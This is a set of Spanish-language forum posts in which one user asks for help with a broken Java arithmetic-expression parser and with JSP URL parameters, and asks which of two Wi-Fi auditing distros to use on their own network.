///////////////////////////////////////////////////////////////////////////////
###############################################################################
///////////////////////////////////////////////////////////////////////////////
Y aqui estan las 4 variables o incognitas de la expresion:
[x,b,x,d]

Haber si me pueden ayudar con este ultimo problema.
Saludos
#88
Hola atodo, he codeado esto:
Código (java) [Seleccionar]
package equlator;

/**
*
* @author root
*/
public class Main {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        String operacion = new String("1+5");
       
        //procesador(operacion);
       
    }
    public static int procesador(String proceso)
    {
        //Variable de instancia donde quedara definida la operacion convertida a string
       int procesado = 0;
       //Matriz de caracteres de toda la cadena procesada
       char[] matrizCaracteres = proceso.toCharArray();
        int[] bufferAritmetico = null;
        System.out.println("Procesando expresion aritmetico-algebraica....");
       for(int a = 0; a < proceso.length(); a++)
       {
           System.out.println(matrizCaracteres[a]);
           if(Character.toString(matrizCaracteres[a]).equals("+") ||
              Character.toString(matrizCaracteres[a]).equals("*") ||
              Character.toString(matrizCaracteres[a]).equals("/") ||
              Character.toString(matrizCaracteres[a]).equals("-"))
           {
             if(Character.toString(matrizCaracteres[a]).equals("+"))
             {
               bufferAritmetico[a] = +;
             }else{
                 
             }
             
                 
                 
             
           }else{
           bufferAritmetico[a] = Integer.parseInt(Character.toString(matrizCaracteres[a]).trim());
           }
           }
           System.out.println(bufferAritmetico);
       return procesado;
    }

}

Mi problema es que no puedo pasar una expresion aritmetica que se recoje de forma String a int, he intentado hacer un pequeño procesador que analiza la cadena y va trasladando los valores a un array int, pero los simbolos de suma multiplicacion res y division no se traspasan.
Dentro del bucle logico del procesador he creado un encadenamiento de condiciones para determinar si el caracter o valor que se va analizar en ese loop es un caracter de operacion aritmetico.
Asi lo hago y si se cumple intento asignar el valor con su equivalente en Integer a la posicion de la matriz determinada por el loop y la variable instancia de este.

Espero que me puedan ayudar.

Saludos
#89
Java / Duda variables JSP
21 Marzo 2010, 15:46 PM
Hola a todos, estoy haciendome una web usando el JSP, y he encontrado que a diferencia de mi querido PHP no puedo modificar variables a través de la url al estilo:
index.jsp?secion=1

Simplemente no cambia nada, os muestro el codigo:

Código (html4strict) [Seleccionar]
<html>

<head><title>Prueba JSP</title></head>

<body>
<%! public int secion = 0;%>
<%
out.println("Bienvenido a mi web<br/>");

out.println("<b>Pagina de ejemplo JSP</b>");
out.println("<br/>");
switch(secion)
{
case 0:
out.println("Has cojido la uno!");
break;
case 1:
out.println("Has cojido la dos!");
break;
}

%>
<br/>
Fecha actual: <%= new java.util.Date() %>



</body>

</html>


Tan moderno que es jsp y mira que no se podrá dividir en modulos xD

Saludos
#90
Wireless en Linux / Wifiway o Wifislax?
20 Marzo 2010, 14:06 PM
Hola a todos, estoy haciendo unas auditorias de mi red, en este momento, en concreto la de wireless, y no se que distro escojer.
Wifiway o wifislax? que diferencia hay? Cuala es mejor?

Saludos